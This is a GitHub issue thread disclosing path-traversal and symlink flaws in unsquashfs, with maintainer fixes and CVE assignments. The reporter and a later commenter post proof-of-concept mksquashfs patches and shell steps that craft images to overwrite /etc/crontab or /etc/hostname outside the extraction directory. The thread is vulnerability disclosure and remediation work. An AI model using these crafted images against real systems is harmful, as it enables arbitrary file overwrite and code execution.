Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

unsquashfs - unvalidated filepaths allow writing outside of destination #72

Closed
staaldraad opened this issue Sep 10, 2019 · 13 comments
Closed

Comments

@staaldraad
Copy link

Squashfs stores the filename in the directory entry, this is then used by unsquashfs to create the new file during the unsquash. The filename is not validated for traversal outside of the destination directory, this allows writing to locations outside of the destination, such as /etc/crontab which could lead to code execution.

To test this, the following change can be made to mksquashfs: https://gist.github.com/staaldraad/6799182a78410081238e75d5abec2da0#file-mksquashfs-patch

--- mksquashfs.org      2019-09-10 16:11:21.000000000 +0200
+++ mksquashfs.c        2019-09-10 16:12:28.000000000 +0200
@@ -3168,8 +3168,15 @@
        struct dir_ent *dir_ent = malloc(sizeof(struct dir_ent));
        if(dir_ent == NULL)
                MEM_ERROR();
-
-    dir_ent->name = name;
+
+    char *fname = "../../../../../../../../etc/crontab\0";
+    //char *fname = "slash/etc/crontab\0";
+
+    if( strcmp(name, "meh\0") == 0 ){
+           dir_ent->name = fname;
+    } else {
+           dir_ent->name = name;
+    }
        dir_ent->source_name = source_name;
        dir_ent->nonstandard_pathname = nonstandard_pathname;
        dir_ent->our_dir = dir;

Recompile mksquashfs and then create the "bad" squashfs image.

The first example is using a directory traversal, (this is easiest done in a Docker container)

$ cd squashfs-tools
$ docker run -it -v `pwd`:/squash ubuntu:latest /bin/bash
$ cd /squash
$ echo "* * * * * id > /tmp/id" > /etc/crontab
$ mkdir poc
$ echo 1 > poc/meh # this is the file need to trigger the fake filepath insert for this poc
$ ./mksquashfs poc poc-image.sqfs
$ exit
# back on host - assume this is done as root user for this to write to /etc/crontab
$ unsquashfs -d /tmp/somelocation poc-image.sqfs
$ cat /etc/crontab
* * * * * id > /tmp/id
# after 1 minute
$ cat /tmp/id 

This works pretty well since the unsquashfs ends up prepending the file data to an existing file, or creating the file+path if it does not exist.

The same can be done with a symlink. Same steps as before except additional file is added to thepoc folder:

$ ln -s / /squash/poc/slash

Attached are two poc squashfs images, one with directory traversal and the other with symlink. Both will end up creating the file /tmp/poc_squashfs.txt

root@u:~/squashfs_vuln_poc# ls /tmp/poc_squashfs.txt
ls: cannot access '/tmp/poc_squashfs.txt': No such file or directory
root@u:~/squashfs_vuln_poc# unsquashfs -d /home/ubuntu/squishy squashfs_dir_traverse.sqfs
Parallel unsquashfs: Using 1 processor
1 inodes (1 blocks) to write

[=================================================================================================================================================|] 1/1 100%

created 1 files
created 1 directories
created 0 symlinks
created 0 devices
created 0 fifos
root@u:~/squashfs_vuln_poc# cat /tmp/poc_squashfs.txt
hello from the poc

Sample squashfs images
pocs.zip

plougher added a commit that referenced this issue Jan 17, 2021
An issue on Github (#72)
shows how some specially crafted Squashfs filesystems containing
invalid file names (with '/' and ..) can cause Unsquashfs to write
files outside of the destination directory.

This commit fixes this exploit by checking all names for
validity.

In doing so I have also added checks for '.' and for names that
are shorter than they should be (names in the file system should
not have '\0' terminators).

Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
@setharnold
Copy link

Hello, is this considered a security vulnerability in unsquashfs? If so, has a CVE been assigned to it already?

Thanks

@carnil
Copy link

carnil commented Aug 27, 2021

CVE-2021-40153 seems to have been assigned to it.

@richardweinberger
Copy link

richardweinberger commented Sep 6, 2021

Writing outside of destination is still possible, even with 79b5a55 applied.
@plougher What is the security contact for squashfs-tools? If you like I can provide details right here too.

@plougher
Copy link
Owner

plougher commented Sep 6, 2021

Writing outside of destination is still possible, even with 79b5a55 applied.
@plougher What is the security contact for squashfs-tools? If you like I can provide details right here too.

I am. You can provide details here, or email me at phillip@squashfs.org.uk

@richardweinberger
Copy link

There is at least one more way to write outside the destination, this time not using .. but symlinks.
squashfs allows two files with an identical name in the same directory.
So have a directory with a regular file named z.txt and a symlink which points to /etc/hostname named foo.

This patch helps creating the crafted filesystem:

        diff --git a/squashfs-tools/mksquashfs.c b/squashfs-tools/mksquashfs.c
        index 127df00fb789..d9ea11a5e175 100644
        --- a/squashfs-tools/mksquashfs.c
        +++ b/squashfs-tools/mksquashfs.c
        @@ -1141,9 +1141,13 @@ static void add_dir(squashfs_inode inode, unsigned int inode_number, char *name,
                struct squashfs_dir_entry idir;
                unsigned int start_block = inode >> 16;
                unsigned int offset = inode & 0xffff;
        -       unsigned int size = strlen(name);
        +       unsigned int size;
                size_t name_off = offsetof(struct squashfs_dir_entry, name);

        +       if (strcmp(name, "z.txt") == 0)
        +               name = "foo";
        +
        +       size = strlen(name);
                if(size > SQUASHFS_NAME_LEN) {
                        size = SQUASHFS_NAME_LEN;
                        ERROR("Filename is greater than %d characters, truncating! ..."

It renames z.txt to foo such that we end up with having foo two times in the same directory.
unsquashfs will first create the symlink that points to /etc/hostname and then while trying to create the regular file foo it just opens foo and implicitly follows the symlink. That way /etc/hostname will be overwritten with the contents of z.txt.

One possible mitigation is patching unsquashfs to not follow symlinks.

@alexmurray
Copy link

The other possible mitigation is to disallow two directory entries with the same name. This would appear more correct IMO.

@richardweinberger
Copy link

The other possible mitigation is to disallow two directory entries with the same name. This would appear more correct IMO.

Iff it can be detected reliable. unsquashfs is not a fsck. :-)

@setharnold
Copy link

setharnold commented Sep 9, 2021 via email

@plougher
Copy link
Owner

plougher commented Sep 9, 2021

The best I've thought of for forbidding two directory entries with the same name is a big hashtable to keep track of what's already been seen. I've seen other archive formats 'broken' by interleaved records like: foo/ foo/a bar/ bar/b foo/a ...

Squashfs is a filesystem rather than an archive (for example like tar which can have repeated duplicate pathnames anywhere), and directories are sorted. So it is relatively easy to detect if a directory has duplicate names.

I'll probably push the fix on the weekend, I need to do some more testing, and deal with pre-2.1 version filesystems (these had unsorted directories).

plougher added a commit that referenced this issue Sep 13, 2021
An issue on github (#72)
showed how some specially crafted Squashfs filesystems containing
invalid file names (with '/' and '..') can cause Unsquashfs to write
files outside of the destination directory.

Since then it has been shown that specially crafted Squashfs filesystems
that contain a symbolic link pointing outside of the destination directory,
coupled with an identically named file within the same directory, can
cause Unsquashfs to write files outside of the destination directory.

Specifically the symbolic link produces a pathname pointing outside
of the destination directory, which is then followed when writing the
duplicate identically named file within the directory.

This commit fixes this exploit by explictly checking for duplicate
filenames within a directory.  As directories in v2.1, v3.x, and v4.0
filesystems are sorted, this is achieved by checking for consecutively
identical filenames.  Additionally directories are checked to
ensure they are sorted, to avoid attempts to evade the duplicate
check.

Version 1.x and 2.0 filesystems (where the directories were unsorted)
are sorted and then the above duplicate filename check is applied.

Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
@richardweinberger
Copy link

Thanks for pushing e048580, the fix assumes that filesystems > 2.0 have sorted directories. How does it deal with the case where an attacker creates a crafted filesystem > 2.0 where directory entries are deliberate not sorted?

@AgentD
Copy link
Contributor

AgentD commented Sep 13, 2021

In both cases, the check_directory function is called.

To my understanding, if dir_count is >= 2 and the function returns TRUE, then it must hold that for all pairs of consecutive entries, the first must be less than the second (using strcmp on the name as a comparison operator). This should rule out any attempt to subvert the sorting order, as well as consecutive entries that are equal.

@richardweinberger
Copy link

True. Thanks for pointing this out.

@carnil
Copy link

carnil commented Sep 14, 2021

There is at least one more way to write outside the destination, this time not using .. but symlinks.
squashfs allows two files with an identical name in the same directory.
So have a directory with a regular file named z.txt and a symlink which points to /etc/hostname named foo.

This patch helps creating the crafted filesystem:

        diff --git a/squashfs-tools/mksquashfs.c b/squashfs-tools/mksquashfs.c
        index 127df00fb789..d9ea11a5e175 100644
        --- a/squashfs-tools/mksquashfs.c
        +++ b/squashfs-tools/mksquashfs.c
        @@ -1141,9 +1141,13 @@ static void add_dir(squashfs_inode inode, unsigned int inode_number, char *name,
                struct squashfs_dir_entry idir;
                unsigned int start_block = inode >> 16;
                unsigned int offset = inode & 0xffff;
        -       unsigned int size = strlen(name);
        +       unsigned int size;
                size_t name_off = offsetof(struct squashfs_dir_entry, name);

        +       if (strcmp(name, "z.txt") == 0)
        +               name = "foo";
        +
        +       size = strlen(name);
                if(size > SQUASHFS_NAME_LEN) {
                        size = SQUASHFS_NAME_LEN;
                        ERROR("Filename is greater than %d characters, truncating! ..."

It renames z.txt to foo such that we end up with having foo two times in the same directory.
unsquashfs will first create the symlink that points to /etc/hostname and then while trying to create the regular file foo it just opens foo and implicitly follows the symlink. That way /etc/hostname will be overwritten with the contents of z.txt.

One possible mitigation is patching unsquashfs to not follow symlinks.

This issue got a separate CVE assigned: CVE-2021-41072

hsiangkao pushed a commit to erofs/erofs-utils that referenced this issue Sep 5, 2023
In some crafted erofs images, fsck.erofs may write outside the
destination directory, which may be used to do some dangerous things.

This commit fixes by checking all directory entry names with a '/'
character when fscking.  Squashfs also met the same situation [1],
and have already fixed it here [2].

[1] plougher/squashfs-tools#72
[2] plougher/squashfs-tools@79b5a55

Fixes: 412c8f9 ("erofs-utils: fsck: add --extract=X support to extract to path X")
Reviewed-by: Guo Xuenan <guoxuenan@huawei.com>
Signed-off-by: Guo Xuenan <guoxuenan@huawei.com>
Signed-off-by: Gao Xiang <hsiangkao@linux.alibaba.com>
Link: https://lore.kernel.org/r/20230905023207.70314-1-hsiangkao@linux.alibaba.com
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

7 participants